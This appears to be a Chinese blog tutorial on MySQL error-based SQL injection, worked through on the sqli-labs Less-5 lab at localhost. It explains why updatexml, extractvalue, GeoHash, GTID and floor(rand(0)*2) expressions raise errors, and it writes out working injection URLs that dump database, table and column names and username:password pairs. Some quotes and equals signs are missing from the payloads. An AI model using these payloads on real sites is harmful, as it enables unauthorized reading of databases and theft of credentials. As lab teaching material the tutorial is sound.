有网站源程序怎么做网站后台,泽国镇规划建设局网站,wordpress 加载图片不显示图片,怎么做像知乎一样的网站君衍. 一、sqllabs第五关报错注入updatexml报错注入原理及思路 二、常见的报错函数三、floor报错注入原理1、概念2、函数回顾2.1 rand函数2.2 floor(rand(0)*2)函数2.3 group by函数2.4 count(*)函数2.5 函数综合报错 3、报错分析4、总结 一、sqllabs第五关报错注入 之前我在这… 君衍. 一、sqllabs第五关报错注入updatexml报错注入原理及思路 二、常见的报错函数三、floor报错注入原理1、概念2、函数回顾2.1 rand函数2.2 floor(rand(0)*2)函数2.3 group by函数2.4 count(*)函数2.5 函数综合报错 3、报错分析4、总结 一、sqllabs第五关报错注入 之前我在这篇文章SQL注入基础思路讲解了联合查询注入使用union关键字在数据的返回位置进行数据查询所以这里我们对上面这篇博客进行补充报错注入 这里我使用sqllabs第五关进行演示首先报错注入它的应用场景便是基于当前页面存在注入点却没有返回任何数据的位置使用union进行联合查询无效无法显示数据但是能回显出对数据库的报错信息这时我们采用报错函数对数据进行读取注入 这里我们可以在后台查看下源码逐行说下
# 首先这里定义了SQL查询语句从名为users的数据库表中选择所有列id值就是给定的$id值
# 查询使用limit 0,1限制结果集只包含一条记录
$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;
# 这里执行SQL查询语句并将结果保存在$result变量中
$resultmysql_query($sql);
# 然后从查询结果中获取一行数据存储在$row数组中
$row mysql_fetch_array($result);
# 这里主要判断是否成功获取一行数据if($row){echo font size5 color#FFFF00; echo You are in...........;echo br;echo /font;}else {echo font size3 color#FFFF00;print_r(mysql_error());# 主要这行代码输出MySQL数据库错误信息echo /br/font; echo font color #0000ff font size 3; }
}else { echo Please input the ID as parameter with numeric value;}所以此处我们可以使用报错函数使之返回数据
updatexml报错注入原理及思路
http://127.0.0.1/sqli7/Less-5/?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1) --这里我们选择报错注入所以也就涉及到了一个函数updatexml函数 我们使用的是updatexml注入报错这里我们就要去想updatexml为啥会报错 首先updatexml的函数格式为updatexml(xml_doument,XPath_string,new_value);所以说这里我们需要认识到它三个参数的含义是什么
1、第一个参数其实就是XML的内容2、第二个参数就是需要更新update的位置XPATH路径3、第三个参数就是更新之后的内容
好的认识上面三个参数之后其实这里我们还需要知道我们使用updatexml(1,concat(0x7e,(select user()),0x7e),1)为什么会显示出rootlocalhost? 了解到第一个参数以及第三个参数其实这两个参数是可以随便写的它只需要利用第二个参数来校验你输入的内容是否符合XPATH格式。、 可能这里有人要问为什么要添加0x7e这个是因为0x7e是~不属于xpath语法格式因此报出xpath语法错误。如果不添加该不属于xpath格式的参数无法引发正确的报错。 所以这里我们就是利用updatexml函数的报错来回显出我们想要查询出来的内容。好的到这里我们一个报错函数的原理我们已经理解了下面就是使用这个报错函数进行注入 所以就老规矩先查数据库名再查表名最后列名输出。 数据库名
http://127.0.0.1/sqli7/Less-5/?id1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--原理
表名
http://127.0.0.1/sqli7/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemasecurity),0x7e),1)--原理 列名
http://127.0.0.1/sqli7/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)--原理 注入
http://127.0.0.1/sqli7/Less-5/?id1 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--原理 这里我们又看到查询回显内容很少这里就因为updatexml报错最大只能容纳32个字节所以这里我们就得想办法让它回显出所有内容那么我们就要用到limit来分段显示
http://127.0.0.1/sqli7/Less-5/?id1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--原理 到这里我们使用updatexml函数进行注入就已经完成了下面我们来看看其他报错函数。 补充 对于报错注入回显限制问题我们共两个方案
#1.用group_concat时使用substr进行字符串截取 其中132控制截取的起始与结束位置
and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --#2.使用concat利用limit(起始位置,截取数量) 函数进行结果截取(还是有可能回显到长度大于限制的数据导致无法显示不推荐)
and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --二、常见的报错函数
这里注入思路就和一里面一样SQL语句内部差不多所以这里不过多赘述。 如果里面有过滤还需绕过进行注入 1、updatexml
updatexml(1,1,1) 一共可以接收三个参数报错位置在第二个参数使用方法
?id1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--2、extractvalue
extractvalue(1,1) 一共可以接收两个参数报错位置在第二个参数使用方法
http://127.0.0.1/sqli7/Less-5/?id1 and extractvalue(1,concat(0x7e,(select user()),0x7e))--3、ST_LatFromGeoHash()mysql5.7.x
?id1 and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--4、 ST_LongFromGeoHashmysql5.7.x
?id1 and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--5、GTID (MySQL 5.6.X - 显错200) GTIDGTID是MySQL数据库每次提交事务后生成的一个全局事务标识符GTID不仅在本服务器上是唯一的其在复制拓扑中也是唯一的。 GTID_SUBSET() 和 GTID_SUBTRACT()函数可以拿来实现报错注入 函数原理
GTID_SUBSET() 和 GTID_SUBTRACT() 函数我们知道他的输入值是 GTIDset 当输入有误时就会报错GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID也在 set2 中返回 true否则返回 false ( set1 是 set2 的子集)GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)
#GTID_SUBSET函数
gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,:,password) from manage),0x7e),1)--
#GTID_SUBTRACT函数
gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,:,password) from manage),0x7e),1)--6、ST_Pointfromgeohash (mysql5.7)
?id1 and ST_PointFromGeoHash(version(),1)--7、floor注入
(select 1 from (select count(*),concat(回显查询位置,floor(rand(0)*2))x from information_schema.tables group by x)a)--获取当前数据库
)or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--获取表数据
)or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schematest limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--获取users表里的段名
)or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--三、floor报错注入原理
floor是mysql中的函数而报错注入则是结合了这几个函数groupbyrandfloorcount完成的注入。
1、概念
floor报错注入就是利用 select count(*),(floor(rand(0)*2))x from table group by x导致数据库报错通过 concat 函数连接注入语句与 floor(rand(0)*2)函数实现将注入结果与报错信息回显的注入方式。
2、函数回顾
下面我们来回顾下这几个函数count、group by、floor、rand
2.1 rand函数
rand()可以产生一个在0和1之间的随机数 直接使用rand函数每次产生的数则不相同但是如果我们提供了一个固定的随机数0之后 这里我们可以看到值是固定的如果提供一个固定的0这个随机数也可以称为伪随机产生的数据都是可以预知的我们这里可以查看多个数据 这里我们可以看到产生第一次的随机数与第二次是完全一样的好的知道了rand函数我们下面看floor函数与rand函数配合使用。
2.2 floor(rand(0)*2)函数
首先floor函数作用就是返回小于等于括号内该值的最大整数。 同时rand函数则是返回一个0到1之间的随机数所以floor(rand(0))产生的数只有0这样也就不能实现报错了所以这里我们需要乘以2下面我们在数据库中查看下 这样我们便可看到全为0无法完成我们的报错所以下面我们乘以2使其返回0到2之间的随机数然后配合floor()就可以产生确定的两个数也就是0与1如下图所示 这里我们便可看到它产生了一串固定的随机种子数列为0 1 1 0 1 1 0 0 1 1 1 0 1当然了光这两个函数配合还是无法实现我们的报错注入的所以下面我们接着看group by函数。
2.3 group by函数
首先group by主要是用于对数据进行分组的即相同的为一组。 下面我们来简单看下 以上是users的原表下面我们进行分组同时使用别名来代替属性 同时也可以省略as 然后使用group by函数进行分组按照x进行排序同时需要注意的是最后x这列中显示的每一类只有一次前面的a的是第一次出现的id值
2.4 count(*)函数
count(*)统计结果的记录数 这里可以进行统计总共的数值如下图所示 这里就是对重复性的数据进行整合然后计数x为某一类的数量。
2.5 函数综合报错
select count(\*),floor(rand(0)\*2) x from users group by x;这里我们根据前面几个函数来理解这个语句的意思原本意思是统计后面产生随机数的种类并每种数量。分别产生我们可以在上面知晓。 产生的随机数0 1 1 0 1 1 0 0 1 1 1 0 1 理论输出 0 5 1 8 0是5个1是8个但是它最后却产生了错误下面我们进行报错分析。
3、报错分析
首先MySQL遇到该语句时会建立一个虚拟表这个虚拟表有两个字段一个是分组key一个是计数值count()也就是对应于实验中的username以及count()。 然后在查询数据的时候首先需要查看虚拟表中是否有这个分组如果有那么计数值加1如果没有那么就创建一个这样的分组。同时根据MySQL官方文档在查询过程中如果使用rand()那么这个值就会被计算多次。 **即为若使用group byfloor(rand(0)*2)会被执行一次如果虚拟表不存在记录插入虚表的时候会再被执行一次我们可以看下floor(rand(0)*2)报错过程原本floor(rand(0)*2)查询的值是固定的而报错实际上是floor(rand(0)*2)被多次执行导致的**如下 1、查询前默认会创建空虚拟表如下 2、取第一条记录执行floor(rand(0)*2)发现结果为0(第一次计算) 3、查询虚拟表发现0的键值不存在则插入新的键值的时候floor(rand(0)*2)会被再计算一次结果为1(第二次计算)插入虚表这时第一条记录查询完毕 4、查询第二条记录再次计算floor(rand(0)*2)发现结果为1(第三次计算) 5、查询虚表发现1的键值存在所以floor(rand(0)2)不会被计算第二次直接count()加1第二条记录查询完毕 6、查询第三条记录再次计算floor(rand(0)*2)发现结果为0(第4次计算) 7、查询虚表发现键值没有0则数据库尝试插入一条新的数据在插入数据时floor(rand(0)*2)被再次计算1作为虚表的主键其值为1(第5次计算)插入 到这里我们会发现1这个主键已经存在过虚拟表中了而新计算的值为1之前我们已经有1了这就与MySQL的主键值必须唯一相违背所以就会报错。
4、总结
整个查询过程floor(rand(0)*2)被计算了5次查询原数据表3次所以这就是为什么数据表中需要最少3条数据使用该语句才会报错的原因。 另外要注意加入随机数种子的问题如果没加入随机数种子或者加入其他的数那么floor(rand()*2)产生的序列是不可测的这样可能会出现正常插入的情况。最重要的是前面几条记录查询后不能让虚表存在0,1键值如果存在了那无论多少条记录也都没办法报错因为floor(rand()*2)不会再被计算做为虚表的键值这也就是为什么不加随机因子有时候会报错有时候不会报错的原因。 这里我们可以1来作为随机数种子如下 最后还需注意的是我们采用报错注入从数据表中读取了三条有效的数据如果有效数据不足三条的话也是无法触发floor报错信息的。